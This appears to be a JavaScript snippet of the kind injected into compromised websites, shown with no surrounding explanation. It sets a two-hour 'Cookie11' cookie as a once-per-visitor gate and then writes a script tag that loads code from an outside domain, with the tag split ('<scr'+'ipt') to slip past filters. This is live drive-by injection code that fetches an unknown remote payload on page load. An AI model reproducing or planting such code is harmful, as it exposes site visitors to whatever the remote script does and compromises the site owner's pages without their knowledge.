var Then = new Date() 
Then.setTime(Then.getTime() + 2*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie11=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie11=Filter;expires="+ Then.toGMTString() 
document.writeln('<scr'+'ipt src=http://www.7tv.com.cn/js/as.js></scr'+'ipt>')
}